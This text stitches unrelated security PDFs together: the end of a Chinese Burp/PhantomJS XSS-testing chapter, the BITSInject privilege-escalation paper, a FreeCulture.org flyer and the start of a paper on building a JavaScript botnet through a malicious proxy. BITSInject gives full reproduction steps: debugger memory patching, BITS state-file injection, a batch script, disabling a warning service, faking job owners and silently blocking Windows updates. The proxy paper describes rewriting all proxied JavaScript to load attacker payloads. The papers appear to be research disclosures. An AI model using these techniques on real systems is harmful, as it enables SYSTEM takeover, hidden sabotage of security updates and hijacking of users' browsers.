上图中的左侧为插件运行时需要配置的参数,右侧为验证XSS漏洞的payload。在使用插件 前,有一些关于phantomjs的具体配置需要我们关注。这也是我们在通过应用商店进行插件安 装时,安装界面上提供了的使用说明里的。 第十九章使用Burp、PhantomJS进行XSS检测 231 在执行Intruder之前,必须通过命令行phantomjsxss.js启动xss检测服务,也是phantomjs的 服务监听端口。这就使得我们在执行命令行之前,需要将phantomjs安装好,并加入到环境变 量里,否则无法执行。至于phantomjs的安装非常简单,如果你实在不会,建议你阅读此文 章。传递地址:http://www.mincoder.com/article/4795.shtml 安装完之后,执行phantomjsxss.js,控制台界面显示如下,并无其他提示信息。 为了简单地说明使用方法,其他的参数我们都采取默认配置,只修改GrepPhrase和 JavaScriptfunctions两个参数:GrepPhrase修改为xxs_result,作为检测标志和列表头。 JavaScriptfunctions中我们仅使用alert,其他的都暂时去掉。便于我们从控制台观察结果。我 们最终的配置结果如截图所示: 第十九章使用Burp、PhantomJS进行XSS检测 232 配置完插件之后,我们需要配置Intruder。首先,指定GrepPhrase的值。 第十九章使用Burp、PhantomJS进行XSS检测 233 接着,Intruder的payload生成器需要设置为xssValidator的。 第十九章使用Burp、PhantomJS进行XSS检测 234 如果你如上图中所示的设置,则可以启动Intruder进行检测了。在检测过程中,我们会看到控 制台输出很多日志信息,根据我们的配置,输出alert信息的表示payload检测出存在xss漏 洞。如下图中2所示: 同时,在Intruder的执行界面上,我们可以通过xss_result来查看payload的检测情况,那些响 应报文中存在漏洞标志的均被标出,便于我们对消息的区分和处理。 第十九章使用Burp、PhantomJS进行XSS检测 235 通过以上内容的学习,我们对PhantomJS和xssValidator在XSS漏洞检测方面的使用有了更深 入的了解。在实际应用中,由于xss漏洞的复杂性,不是靠插件默认的payload就能检测出来 的,还是需要读者自己去分析和思考,找到具体的解决办法,本章内容仅仅起着抛砖引玉的 作用。文章后的延伸阅读内容,感兴趣的读者可以进一步分析、实践。同时,如果有更好的 此类文章,欢迎发邮件给我t0data@hotmail.com,我会添加到延伸阅读里。 延伸阅读:1.Server-Side-XSS-Attack-Detection-with-ModSecurity-and-PhantomJS 2.如何使用开源组件解决web应用中的XSS漏洞 第十九章使用Burp、PhantomJS进行XSS检测 236 第二十章使用Burp、AndroidKiller进行安 卓app渗透测试 第二十章使用Burp、AndroidKiller进行安卓app渗透测试 237
pdf
BITSInject Using the BITS service to execute a program in the “NT AUTHORITY/SYSTEM” session. Summary BITS Background Details How We Got There - Research Flow First Naive Try Taking Inspiration From Windows Update Service (wuaueng) Imitating Wuaueng The State File is the Supervisor Interactive or not? Migrate your Payload A Cleaner Method A Little Anecdote Reproduction Instructions General Reproduction Description Step-by-step Reproduction instructions Affected Environment Details Summary We formed a logical manipulation on BITS’s permissions validation model. As a local administrator, we were able to take almost full control of the BITS jobs queue, altering jobs’ properties and states, ​ultimately achieving program execution in the ​LocalSystem account (​NT AUTHORITY/SYSTEM)​, within session 0. It does not involve creating a new service, nor modifying any of the OS’s PE files. We introduce a new method in which a ​local administrator account​ can execute a program in the ​NT AUTHORITY/SYSTEM​ context. The method relies on BITS NotifyCmdLine option, by injecting a job to the service queue. Execution can be either interactive or not. 1 In this article, we would like to not only introduce the practical method, but also: ● Present a detailed explanation of the binary structure of the BITS DB file (from now on, we will use the internal name - “state file”) ● Share the knowledge we gathered while researching the service operation flow ● Provide free giveaways: ○ A one-click python script that executes a program as LocalSystem using this new technique ○ A generic python script that injects any pre-produced job into the current queue ○ An ​010 editor​ template file with the types and structs definitions, which can be used to parse BITS files. ○ SimpleBITSServer​ - a Python implementation of a BITS server, based on Python’s ​SimpleHTTPRequestHandler​. 1An interactive program will dispatch the “Interactive Services Detection” message (forced by the UI0Detect ​service). BITS Background It is important to understand BITS and some of the key terms used throughout this article. So what is BITS in brief? ● A mechanism (service and protocol) that facilitates transferring of files over HTTP asynchronously in the background, featuring priorities, fail recovery and persistency. ● Its most widespread use is to download Windows updates from Microsoft servers. Many other programs use it as well for downloading updates. ● qmgr.dll​ is the Windows service DLL implementing BITS client. ● It is easily used in recent Windows versions through PowerShell cmdlets, and in previous versions - bitsadmin.exe deprecated utility. ○ C/C++ API interfaces (COM) are available and documented on MSDN. ● BITS defines 3 types of operations: ○ Download ○ Upload ○ Upload-Reply Each operation instance is called a job. ● BITS manages jobs in a priority queue, maintained by qmgr.dll. ○ This queue is persisted on disk and is updated on any change. Details The general technique involved is injecting a serialized BITS-job object into the service queue . 2 This is done by modifying the BITS state files, which maintain its jobs queue in run time. And because of the nature of state files - it does not affect the usual operation of any other existing jobs, nor any jobs that are added throughout the injection process. In addition, we can optionally make the job appear as if it is owned by another user, making it less suspicious. Interestingly, the state file binary structure is a ​clear, unencrypted and unprotected binary serialization​ of the job objects inside the queue. Reversing this structure allowed us to change state, properties, flags and settings of any existing job, and even, as mentioned above, inject our custom jobs. Because of the unified serialization method across machines, ​we could use a job that was serialized on one machine, to execute on another machine​. Controlling these aspects of jobs may open the door to other possible attacks, beyond the one described here. 2The term “Queue” is used here throughout, even though it is more like a priority queue. Utilizing the following operation mechanisms allowed us to achieve the described SYSTEM execution: File permissions integrity Regular protection is applied to these state files, which are used and maintained by an OS SYSTEM process. They are held to SYSTEM use only as long as the service is running. Temporarily stopping the BITS service peels a bit of the protection applied to the files, which are owned by SYSTEM but can be modified by a local administrator (no kernel file lock is used nor even ​TrustedInstaller ​protection). Thus, we can modify them and control almost every aspect of the jobs queue. Clear, straight-forward object serialization to disk As said before, the state file content is nothing but a binary serialization of the current jobs in the queue, and this serialization is done mainly by ​CJob::Serialize(class CQmgrWriteStateFile)​. Reversing its structure allowed us to change state, properties, flags and settings of any existing job, and even injecting our custom jobs. Examples of the job properties we managed to easily extract: 1. Priority 2. State 3. GUID 4. Display Name 5. Description 6. Command Line 7. Command Line Parameters 8. Notification Flags 9. Presented owner SID 10. Remote URL 11. Destination path 12. Temp path (BITXXXX.tmp) 13. Proxy Settings 14. Bypass Addresses 15. ACL Flags And more… Here is a partial screenshot showing how job properties seen in PowerShell output are projected in their binary serialized form; full definition is given in next sections: Note that the deprecated utility bitsadmin.exe provides access to changing more aspects and properties of a job, than PowerShell cmdlets do. Lack of unique machine identification Another validation absence actually allowed our self-crafted, privileged job to be injected on different machines (with the same OS version), without a single change. In other words, a job created at one machine is not tangled by any means to the origin machine that created it. We took use of it to customly produce “payload” jobs in one “factory” computer, and transfer them ​as they are ​to another machine’s queue. The other machine’s BITS service would then execute it. Relying on state file data without verification The above circumstances make the enforcement of some parts of the user/logon validation useless, because the enforcement is done before committing job changes to the state file. After they are committed to disk, BITS service trusts the state file data with no validation. And because we anyway ​have write access to that file (as a local administrator), many previous checks become meaningless. Eventually, we were able to form and inject a job that led BITS to execute a process of our will, having the ​NT AUTHORITY/SYSTEM​ access token, and within its session. And because of the nature of state files - it does not hurt the usual operation of any other existing jobs, nor any jobs that are added throughout the injection process. In addition, if a user’s SID from the target computer is known in advance, we can optionally make the job appear as if it is owned by that user, making it less suspicious. How We Got There - Research Flow After some playing around, we noticed ​wuaueng​ (Windows Update) is running jobs as SYSTEM in order to install its updates, so we wanted to create our own SYSTEM-privileged job with a cmdline to execute. It is important to note that the new PowerShell BitsTransfer cmdlets offer only a limited interface, especially around the notification command line feature. For that reason, we mainly used the deprecated bitsadmin.exe utility which gives a more comprehensive control over BITS jobs. First Naive Try Our first try was running bitsadmin as SYSTEM using psexec and adding a download job: Bitsadmin​ ​/​CREATE I_WANT_YOUR_SYSTEM Bitsadmin​ ​/​ADDFILE I_WANT_YOUR_SYSTEM http​:​//get.videolan.org/vlc/2.2.4/win64/vlc-2.2.4-win64.exe c:\temp\vlc.exe /ADDFILE has failed, giving us the reason: Unable to add file to job ​-​ ​0x800704dd Which really means (powershell’s Start-BitsTransfer cmdlet is more verbose here): The operation being requested was not performed because the user has not logged on to the network That’s right, the user that creates the job is the job owner, and only it can modify its jobs. Moreover, the modification operations must be performed from an interactive logon session of that user (either locally or remotely), unless the operation is done by a service. And as we know, the shells we run using psexec are not in the LocalSystem interactive context, even though LocalSystem is always logged on. So what we actually got here is a job with ​LocalSystem​ being its owner, but that owner is now unable to control the job. Kind of an absurd situation, adding that we would encounter the same error if we tried to /CANCEL this job. So how does ​wuaueng​ service does it? Taking Inspiration From Windows Update Service (wuaueng) So we started debugging ​wuaueng​ service and noticed it uses ​qmgr​’s COM interface. In this in-proc scenario, ​wuaueng ​acts as the COM client, asking ​qmgr​, the COM server, to add a download job, as seen in ​wuaueng ​function ​CBitsJob:Init(IBackgroundCopyManager*, ulong, CCallerIdentity const*, int, void*)​. To be exact, it uses the following ​qmgrprxy.dll​’s COM CLSID: HKEY_CLASSES_ROOT\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}\InProcServ er32. ● Switching COM context to ​qmgrprxy​: ● Dynamic call to the external COM function, offered by the qmgr interface: When initiating a normal windows update, We noticed the following order of calls and treated this flow as the valid one we should pursue: wuaueng​!​CJobManagerExternal​::​CreateJob​ ​-> wuaueng​!​CBitsJob​::​AddFile​ ​-> qmgr​!​CJob​::​Resume​ ​-> qmgr​!​CJob​::​Transfer​ ​-> qmgr​!​CJob​::​BeginDownload On the way, we found out that the exception we got earlier (HRESULT: ​0x800704dd​) is thrown inside the call to ​CJobExternal::AddFile​. This sits well with the fact that we managed to create the job with no error, but only encountered it when we used the /ADDFILE flag. Next we dynamically compared this normal flow that ​wuaueng ​initiated, with the flow that we initiated using bitsadmin (run as ​LocalSystem​). While both external calls to ​qmgr!CJobManagerExternal::CreateJob​ seemed identical in parameters, we identified the call to ​CJobExternal::AddFile​ as the main junction that differentiates the two flows. The simple difference is that this call threw an exception when using bitsadmin, but not using ​wuaueng​. So the security enforcement must happen at this border, right? Yes, now let’s see how… Going step by step with the comparison of the two flows, we found out the key difference. First we need to remind you that a COM client that intends to invoke some function on the COM server is due to access check, performed by the server side by impersonating the client. Generally, a server may implement its own access check function that correspond to its security criterias for a specific exported function (this will be done by implementing the ​IServerSecurity interface). In this case, it seems that the ​qmgr ​service is using these interface functions to impersonate the client: ​IServerSecurity::CoImpersonateClient ​and ​IServerSecurity::CoRevertToself​. These functions are used inside the following call to ​CNestedImpersonation::CNestedImpersonation​. After impersonation, the server switches to the client’s user token to perform the actual modification of the job (​CNestedImpersonation::SwitchToLogonToken​): So far both flows look identical, so we went deeper into CNestedImpersonation::SwitchToLogonToken​ where the exception is thrown from. And this is the function where the magic happens. After retrieving some parts of the token such as the SID and IntegrityLevel, and just before ​qmgr ​tries to clone the user token, we see a call to ​GetTokenInformation​. And this call is the junction we were looking for that differs between the two flows: ● When the job was initiated by wuaueng - this function returns 0 ● When the job was initiated by bitsadmin - this function returns 1 And what does this value represent? It is the session ID, because the function is called with ​TokenInformationClass=TokenSessionId​: So we simply want this value to be 0 to represent session 0, just like it is when ​wuaueng​ is the job initiator. Imitating ​Wuaueng Previously, we found out what is the cause for the difference between the mentioned flows. In this step we wanted to make the bitsadmin flow act as it was initiated from ​wuaueng​ service. We changed the memory in runtime to store a fake result from ​GetTokenInformation​. So we again Initiated a job from a SYSTEM PowerShell. We put a breakpoint a bit after the call to ​GetTokenInformation​ and just before the call to ​CloneUserToken​. We changed the value in dword ptr ​[​rsp​+​0A8​+​var_88]​ (in the image above) to 0. We are now fooling the ​qmgr​ server to think that the client is at session 0. And this way, ​AddFile ​succeeded. So we have an actual valid job. Almost. Because the job state is SUSPENDED and will stay this way until LocalSystem will start it. But the existing LocalSystem (session 0) will not voluntarily do that for us. So, do you remember the normal flow we wrote down before? Looking at it, we see that our next obstacle is to call ​CJobExternal::Resume​. The problem is that we will face the same AccessCheck mechanism, so we will have to bypass it again using debugging and in-memory change. It would be feasible if we could finish happily after that, but the truth is that there will be many more obstacle calls alike along the way - calls to ​Resume​ and ​Transfer​ for example - over and over again. To overcome this frustrating future, we found a shortcut on the hard disk... The State File is the Supervisor As mentioned before, we observed that ​qmgr ​service maintains its jobs queue. The queue state has to be preserved between runs and restarts, so ​Microsoft​ thought that it would be a good solution to save it on the hard disk, in the form of a file called a “state file”, which is located in here: C​:​\ProgramData\Microsoft\Network\Downloader\ qmgr0.dat qmgr1.dat Notice there are actually 2 state files. Qmgr uses one as an alternate backup of the other. The exact backup model is not clear, but the easiest way for us to alter them is keep them identical. The following registry value tells which one is effect (0 or 1): HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex Qmgr ​takes care of updating any change in the job’s status and properties into the state file, and ​reads the file to get the job objects that it should execute. This is important to emphasize: the state file is a representation of the queue with all of its jobs included, and ​qmgr ​directly loads them to memory and continues with their execution. No security verification, no permission checks. It just trusts the state file’s contents. How are the objects represented in this binary opaque file? the state file binary structure is a clear, unencrypted and unprotected binary serialization of the job objects inside the queue. So, we found out which bytes represent our job’s state, and changed it to QUEUED according to this enum: public​ ​enum​ JOB_STATE { ​Queued, ​Connecting, ​Transferring, ​Suspended, ​Error, ​TransientError, ​Transferred, ​Acknowledged, ​Cancelled, ​Unknown }; From this state, ​qmgr ​treats the job as an already started one, and starts transferring the file! The job completed when the download has finished, and BITS took care to open a process for us with the command line we specified. The new process inherits the job owner’s token, thus it is run with ​LocalSystem​ permissions in session 0. In other words, we now had an interactive CMD shell opened for us as SYSTEM in session 0. All fun, but since Vista, Windows included a default mitigation that prevents services from opening interactive windows - ​UI0Detect​. This is a service that monitors services that try to do just that, and pops up a confirmation message into the active user session. This is how it looks: Clicking “View the message” and we are taken into session 0 with an open cmd.exe. So how do we get rid of this mitigation? Interactive or not? The answer is simple, and there are actually two different approaches: 1. choose a command line that does not require interactiveness instead of cmd.exe. For example, we have created a simple executable that creates a file. We specified it as the notification command line and the file was created as a SYSTEM file. 2. change the following in registry and restart ​UI0detect ​service: sc stop UI0Detect reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows ​/​v ​NoInteractiveServices /​t REG_DWORD ​/​d ​1​ ​/f sc start UI0Detect Migrate your Payload The next thing we wanted is to similarly inject a job into another machine’s queue where we do not have debugging ability. Simply enough, we copied the state files (that included the SYSTEM job) from our machine to another with the same OS. Of course we had to first stop the BITS service on that remote machine, and when started off again - the job was run! Clearly, the state file is not machine dependant. And because the SYSTEM SID is of a well-known fixed value (​S-1-5-18​), not a single change is needed in the state file with the SYSTEM “payload” job. Trying the same on different versions uncovered the fact that the state file is OS version dependant. We performed the same actions above to produce a “payload” job and a state file on a Windows 10 machine, and that allowed us to put it on other Windows 10 machines and see it works just the same. In conclusion, one can produce a state file, having any desired jobs, on a machine running a specific OS version and transfer it to any other machine with that same version. Just duplicate the production steps on a machine with another OS version, and you’ve expanded the coverage for that version as well. A Cleaner Method Noticed that up till now the method demanded to fully overwrite the state file? It bothered us because it makes this attack method too destructive to practically use - it overwrites all existing job on the target machine. So we wanted to find a way to inject jobs to the queue while keeping the others as they are. In order to do that, we started examining the exact structure of the state file. You can find the template definition file on ​SafeBreach-Labs on github​. To make an even easier use of these findings, we wrote a python script that injects jobs to current queue. You can find it here - BITSInject. You can provide it with a “payload” job buffer produced in the way described below (in the instructions section), and run it on the target machine. It will take care of both adding the job, waiting for it to finish, and removing it from queue afterwards. To keep it simple, you can copy the example payload job buffer to a target computer and run the script - and you have a SYSTEM shell in seconds! An example output of a successful injection: In addition, to make the method even cleaner in some attack scenarios - you can set the destination link of the job to a server that makes the job immediately go into error state and thus execute the command line without downloading any file. One way to do it is running a BITS server that causes an error, such as a server that replies to the BITS client request without the Content-Length header. Not all errors will lead to the desired job state. Have your go with our ​SafeBreach-Labs/SimpleBITSServer​. A Little Anecdote One little trick we found out along the way is preventing a BITS job from downloading, in cases we know the local destination folder in advance. The only prerequisite we need is write access to that target folder. We used this trick to cause an error whenever WU tries to download an update package (Windows Update Error Code ​80070050​). The error persists after restarts as well, effectively making a machine forever deprived of that update. This method also demands, of course, administrator rights but unlike simply disabling automatic updates, this method is hidden quite well. Even the common workaround suggested by Microsoft for this error code - ​resetting windows update components​ - won’t solve it. So an attacker with administrator rights can use it to weaken a machine’s security and open himself new potential exploitation doors for attack vector redundancy. And it is as simple as that: BITS uses a very limited name space for choosing a temporary file name. Before downloading the requested file, BITS first downloads it to a temporary hidden file. It generates this file’s name according to the following format (Pythonic regex): BIT​[​0​-​9A​-​F​]{​1​,​4​}.​tmp Only at job completion it is renamed to the requested destination name, and its attributes change to ​FILE_ATTRIBUTE_NORMAL​. It takes a simple calculation to realise that this format encloses only 69,904 options for the file name: So we choked the destination folder by creating 69,904 hidden files. This file name exhaustion causes BITS to fail, resulting in the above WU failure, which is not even indicative enough to suggest that BITS is the error origin. How do we know the destination folder in advance you ask? All WU updates are created here: C​:​\Windows\SoftwareDistribution\Download Each update package creates its own folder before download starts, with a GUID being its name. The downloaded files are then extracted and installed by ​wuaueng​. Interesting enough, the created folder name is global (constant across machines). So an attacker could get an update to its home machine as soon as it gets published, and send its GUID to the malware agent. The agent would then create this folder in advance, and choke it with those 69,904 hidden files. When Windows/the user decides to install the update, ​wuaueng​ will invoke a BITS download job to that specific folder, that will cause the following update failure: Reproduction Instructions General Reproduction Description The steps performed in this method, in brief: 1. “Jobs Factory” - Pre-produce a serialized job with desired settings, on any machine running the desired OS version. 2. Stop BITS service 3. Inject job to queue: Modify ​qmgr0.dat​, ​qmgr1.dat​ queue files, adding a pre-produced serialized “payload job” bytes to the tail of the queue. 3 4. Start BITS service For better understanding of the method, it is important to state the key action that allowed us to produce such a job: we bypassed the logon session check that ​qmgr.dll​ performs before allowing significant operations on jobs. Normally, a user that does not have an interactive logon session, cannot perform critical operations on jobs such as adding files, resuming, cancelling, and more. For LocalSystem or other system account to perform such operations, it should be done from a running service. The requirement to be logged on interactively or as a service is a key phase in the enforcement of the job’s security integrity. We skipped this active session enforcement by debugging the ​qmgr ​service and in-memory changing of the session ID retrieved in the process. Next are step by step instructions on how to generate and inject a “payload” job. 3 Same job bytes work cross-machines having the same OS version Step-by-step Reproduction instructions First we need to prepare the state files that include our “payload” SYSTEM job. The following steps describe how to produce a state file that has only one SYSTEM job and should be replaced as a whole with the target machine’s state files. As we said before, instead of replacing the whole state file, it is cleaner to inject job bytes to current queue. This can be done using the ​010 template​ that we provide here that will allow you to extract the job bytes. After extracting the “payload”, use our python script that injects a job to the current state file, without affecting existing jobs. NOTE Steps 1-4 below need to be performed on the attacker’s “home” computer, having the same OS version of the victim computer. The prepared file then needs to be transferred to the target computer. Step 5 is performed on the victim computer. Step 1​ - Preparations 1. It is recommended to stop all programs and services that might initiate a BITS job while we are debugging it (e.g. wuaueng). 2. Reset BITS state files completely: a. Sc stop bits b. Delete state files c. Sc start bits Step 2​ - Debug the BITS process 1. Find the BITS process: tasklist ​/​fi​ ​"​services eq bits" 2. Attach windbg to the bits process, put breakpoints: a. Breakpoint A​: bp qmgr​!​CNestedImpersonation​::​SwitchToLogonToken​+​0xe2 Note that this offset is relevant to the qmgr.dll File Version 7.5.7600.16385, other versions may have different offsets. Make sure this breakpoint is placed just before the call to ​CJobManager::CloneUserToken​. b. Breakpoint B: bp qmgr​!​CJob​::​Transfer Step 3​ - Create a job from SYSTEM shell 1. Run CMD or PowerShell as SYSTEM using psexec. The user that creates the job is the job owner, and a job’s access token is derived from its owner. Thus, all ​Bitsadmin.exe commands below should be executed from that SYSTEM shell. 2. Add a system job: Bitsadmin​ ​/​create I_WANT_YOUR_SYSTEM Bitsadmin​ ​/​addfile I_WANT_YOUR_SYSTEM ​"<​URL​>"​ ​"<​DestinationFile​>" a. We now got to breakpoint ​A​. Change the return value of the ​GetTokenInformation call to 0, which is the SYSTEM session ID. This value was previously acquired and was saved to [rsp+20h], so we need to replace both: r ​@rax​=​0x0 Memory change ​[​rsp​+​20h​]=0 b. The CMDLINE you set below will be executed as Local System​ when the job finishes or ends on error: Bitsadmin​ ​/​setnotifycmdline I_WANT_YOUR_SYSTEM ​"<​CMDLINE​>"​ ​"<​PARAMS ​or​ NULL​>" c. Prevent the job from doing retries and force it to go into fatal error state on every kind of error: Bitsadmin​ ​/​SETNOPROGRESSTIMEOUT ​0 bitsadmin ​/​SETNOTIFYFLAGS 3 d. In order to get to breakpoint ​B​: Bitsadmin​ ​/​resume I_WANT_YOUR_SYSTEM e. Got to breakpoint ​B​. We stopped just before a call to ​qmgr!CJob::Transfer​. This call would throw an exception in a normal flow, if we haven’t already changed the TokenInformation.TokenSessionId​ to 0 above. Step 4​ - Modify state file 1. Copy state file to a temporary location: copy C​:​\ProgramData\Microsoft\Network\Downloader\* C​:​\temp\ 2. Modify the state file qmgr1.dat in C:\temp to change the job status: a. Change job state to QUEUED. This change is required for the state file to really initiate transfer, because it skips the need to resume the job. Resuming is one of the operations that are permitted only to the owner of the job, and since the owner is SYSTEM, we couldn’t perform it. Changing the state to queued is just the equivalent of resuming it in a normal interface. i. Change state byte at offset 0x4C to 0x0 = ​BG_JOB_STATE_QUEUED b. We can also change the SID (and length count before it) to any SID we want to make it appear as a user job, while it will still run as SYSTEM. Step 5​ - Run on target computer Copy C:\temp\qmgr1.dat to that same path on the victim computer. Continue the following steps on that victim computer. 1. Run the following batch as Administrator. It temporarily stops BITS and copies the state file we have just created to the original location used by BITS. The service maintains 2 state files in this folder, in a kind of redundancy-backup model. So we overwrite both of them with the qmgr1.dat that we have just prepared. Batch: sc stop bits timeout 5 del​ ​/​Q ​/​F C​:​\ProgramData\Microsoft\Network\Downloader\* copy c​:​\temp\qmgr1​.​dat C​:​\ProgramData\Microsoft\Network\Downloader\qmgr0​.​dat copy c​:​\temp\qmgr1​.​dat C​:​\ProgramData\Microsoft\Network\Downloader sc start bits bitsadmin ​/​list ​/​allusers ​/​verbose 2. The expected output of the last command should display the job we have just created, with owner set to ​NT AUTHORITY/SYSTEM​. It would probably already be in CONNECTING ​or even ​TRANSFERRING ​state, which means that BITS already started handling the download. A similar example output: When the job moves to ​TRANSFERRED ​mode, it should execute the notification command line (​c:\windows\system32\cmd.exe​ in the above example). This will dispatch the “Interactive Services Detection” message (forced by the ​UI0Detect ​service). As mentioned above, avoiding this message is possible by setting a non-interactive program as the ​/NOTIFYCMDLINE​ (tested with a simple executable that only creates a file using WinAPI CreateFile). Affected Environment Details The scenario explained was performed on the following environment: ● Windows 7 x64 Pro (6.1.7601 Service Pack 1 Build 7601) ● Qmgr.dll File Version: 7.5.7600.16385 (win7_rtm.090713-1255) It was also tested and working on: ● Windows 10 x64 Pro (10.0.14393 N/A Build 14393) ● Qmgr.dll File Version: 7.8.14393.0 (rs1_release.160715-1616) Note that the the serialization is different between Windows 7 and Windows 10, thus a different payload is needed per OS. Producing the “payload” job on different operating systems can be done with the exact same steps. The discoveries and method described here were submitted to Microsoft security center prior to this publication, and according to their policy, there is no intention to issue an update or prevent this kind of abuse.
pdf
FreeCulture.org Student movement for free culture free speech free software free culture FreeCulture.org, Inc. P.O. Box 140657 Gainesville, FL 32614-0657 U.S.A. freedom@freeculture.org http://freeculture.org/ FreeCulture.org is a non-profit organization dedicated to promoting and facilitating student involvement in the free culture movement. Launched in April 2004 at Swarthmore College in Pennsylvania, FreeCulture.org has helped establish student groups at colleges and universities across the United States. Today, Free Culture groups exist at nine colleges, with more starting around the world. Founded by two Swarthmore students after suing voting-machine manufacturer Diebold in 2003 for abusing copyright law, FreeCulture.org takes its name from the book Free Culture by Stanford University professor Lawrence Lessig. FreeCulture.org is part of this growing movement, with roots in the free software community, free speech advocates, civil libertarians, media activists, and others. FreeCulture.org is non-partisan and run by the volunteer efforts of students themselves. Each Free Culture campus group is autonomous, and diverse in their interests. Groups with which FreeCulture.org has collaborated include the Electronic Frontier Foundation (EFF), Public Knowledge, Creative Commons, and Downhill Battle. We need your help. Your time, your comments, or your donation help keep us operating and able to help students organize to have a voice in their culture. Your ideas and advice help guide our decision. Please visit our Web site, or join our mailing lists, and help contribute to the discussion. Your effort as a volunteer is vital to our work. Can you help design and administer our Web site? Can you help develop free software tools? Can you help us research issues? Can you help us translate into other languages? Please visit our Web site and see how to lend a hand. We are always interested in new campus groups. If you’d like to start a group at your school, please ask us, and we’ll try to help get you started. Nice to meet you! Love, FreeCulture.org
pdf
Owning Bad Guys {& Mafia} with JavaScript Botnets Chema Alonso (chema@informatica64.com @chemaalonso) and Manu “The Sur” (mfernandez@informatica64.com) Informatica 64 (http://www.informatica64.com) Abstract: “Man in the middle” attacks are common and dangerous. Using a TOR connection or an Anonymous Proxy Server implies accepting a “man in the middle” schema in our Internet Connection. In this paper we describe how easily a JavaScript Botnet can be constructed and what are the risks. Moreover, we describe, with samples, what kind of people are using this kind of services. Botnets Building a botnet is an idea that everyone working in security has thought about. c. The idea of having a control panel that allows you to manage the behaviour of thousands of machines is tempted … However, this process is definitively a step to the side of cybercrime, and must be very careful not to do. Despite this, the proof of concept I will relate in this article has to do with this idea, to make a botnet, but with a complete different philosophy. First, on our proof of concept work that is done is completely passive, it means, there is no intention to control the lives of anyone, but to study the risks of certain services that have become too popular, such as “Anonymous Proxies” and TOR networks. All this work is intended to alert of the risks to which may be incurred by the mere fact of following one of the many tutorial available on Internet about anonymity. That said, I will tell you the process we followed to make a botnet to control what they do and how they do, that bad guys of Internet. Man In The Middle Before describing the architecture is necessary to review the concept of “Man in the Middle” techniques. In the networking field, “Man in the Middle” attacks are popular and effective. Typical cases in IPv4 networks with ARP Spoofing techniques or Rogue DHCP, in IPv6 networks with ICMP Spoofing attacks or SLAAC, or other cases such as DNS Poisoning are widely used in schemes to steal credentials. "Man in the middle" scheme in networks, spread with the cybercrime world to "Man In The Browser". For a long time, "the Russian school" was beating those systems with Internet Explorer 6 by using the famous Browser Helper Objects (BHO) - Active X components -, just like a browser toolbar took control about everything going on in the browser, in order to replace and inject HTML code in websites of financial institutions and steal login credentials. This scheme of business was extended to mobile devices, where it is known as “Man In The Mobile”, since in order to control economic transactions of many banks was necessary to steal the bank confirmation SMS. Man in the Tab Even more subtle are the techniques of "Man in the Tab" or "JavaScript in the middle", also known as cache poisoning browser. In these cases, the attacker does not control entire browser, but its only area of work is the content of a tab, that is, it has managed to put malicious code on the user tab, allowing they to do all the things that can be done with code on a web page loaded in a web browser. These attacks are commonly used in XSS schemes, where the attacker injects code that runs in the browser tab. Another common way, is to own legitimate web servers to put a JavaScript code, which is responsible for redirecting visitors to a web server where the exploting kits were deployed. This is something very common in distribution of malware operations. Figure 1: Trojan JS/Redirector.GA But there are even malware whose operation is based entirely on that, a file cached in web browser to load malicious JavaScript on a regular basis on the tabs to get their executions. Thus, malware as Trojan horse: JS / Redirector.GA [1] took care to put the Google Analytics JavaScript file, widely used on many web sites, as this trojan-blog, loading a malicious payload from a server controlled. Once inside In an environment that has been infected with a JavaScript file loaded in the page, the many things that can be done are more than enough to please the attacker. First, to be within the domain allows Javascprit code to access all the cookies that are not tagged as HTTP Only, and even others if the conditions are present for TRACE attack [2], or make an Error 400 attack in Apache[3] or loading a Applet[4] or... Of course, it is possible to make Clickjacking attacks, Phishing, to steal data that has been typed, to intercept forms, to load code from remote servers, etcetera. In order to generate attacks in these environments there are advanced solutions such as BeEF (Explotation Browser Framework)[5] that contains a good amount of payloads to use in case you get the malicious .js file. Figure 2: BeEF Project How to make a botnet with this idea Moving from an environment that specifically infects a JavaScript file, we decided that the best way to create the botnet would be if bots did "motu proprio", it means, not a forced man in the middle, but chosen by themselves. Hereby we decided to focus on the TOR network and Proxy servers used on the Internet. For its implementation, we assemble a machine, which would be the “Man in the Middle”, and enrolled as TOR node and as an Anonymous Proxy Server, and in both cases was operating for a while. However, we must say that with TOR node, we suffered a detection of malicious activity that makes that our IP address was ignored. Figure 3: DNS test log in TOR Security systems in TOR networks launch periodic and more or less random tests, in which the answers are known beforehand, and if they are handled or manipulated in some way, then the node loses confidence and it is blocked. In our case, we "tweak" the answer to certain domain names and stopped sending traffic through our node. Good for them! However, with proxy servers on the Internet the things were different… Architecture of the solution: Infection of JavaScript To achieve the goal of being able to infect clients with malicious JavaScript files should ideally not add a new file, but to modify JavaScript files that pass through the Malicious Proxy server by adding some code to load a payload each time bots execute this code in a browser tab. That is, using a schema similar to the following image: Figure 4: Malicious Proxy architecture This means that the architecture does modify the code of all JavaScript files that passes through the Proxy server to dynamically load the payloads to be set later with a control panel as BeEF. Setting the proxy server: SQUID To get JavaScript files rewritten, the steps were: 1) Download the file from its original location. 2) Save it to a temporary location. 3) Add the JavaScript infection code at the end of the JavaScript file. 4) Make that file has an expiration date of 3,000 days. 5) Deliver to the clients the new created JavaScript file. In order to perform all these steps, the first thing to do is select the server option URL_Rewrite_Program of SQUID, which lets you run a program to rewrite the files that match a certain condition. In this case, the rule applies to all files and used a Perl program called poison.pl. Figure 5: squid.conf file with activated url_rewrite_program The file poison.pl performs steps 1 to 5 (with the exception of step 4) of the process described above. To do this, first check that the file name ends in .js with a small regular expression. Once the file is met JavaScript, the program will download it from its original location, copy it to a temporary location, change its permissions to write it and dumps the contents of file infection, which in our example is called pasarela.js Figure 6: poison.pl module infects JavaScript files The last step is modify the expiration date of the objects. It requires installing “mod_expires” module into Apache, and to make a little change in the file .htaccess at location from which will serve all the JavaScript infected files. Figure 7: .htaccess file of temporary folder The infection Finally, note that all that is necessary to infect JavaScript files, is something called pasarela.js and all it does is loading the poisoned payload.php from malicious server and report their identity loading an image with jsonip.php. Figure 8: pasarela.js file that is copied in all the JavaScript files In the code can be viewed whether an element has been created or not. The goal is to not run the code of the pasarela.js more than once per page. And now…how to get someone become infected with this Malicious Proxy? Distributing the Proxy server in Internet To get the “bad guys” do use of our Malicious Proxy server, the idea was very simple: We registered it on one list of proxy servers. For a long time, and in many sites and blogs, it is recommended the use of proxy servers to get anonymous IP address, which is common for many of us to do, and I have to include myself. We selected a site at random and we register the IP address with port 31337, to attract a little more attention. Figure 9: Proxy servers service These sites with lists of 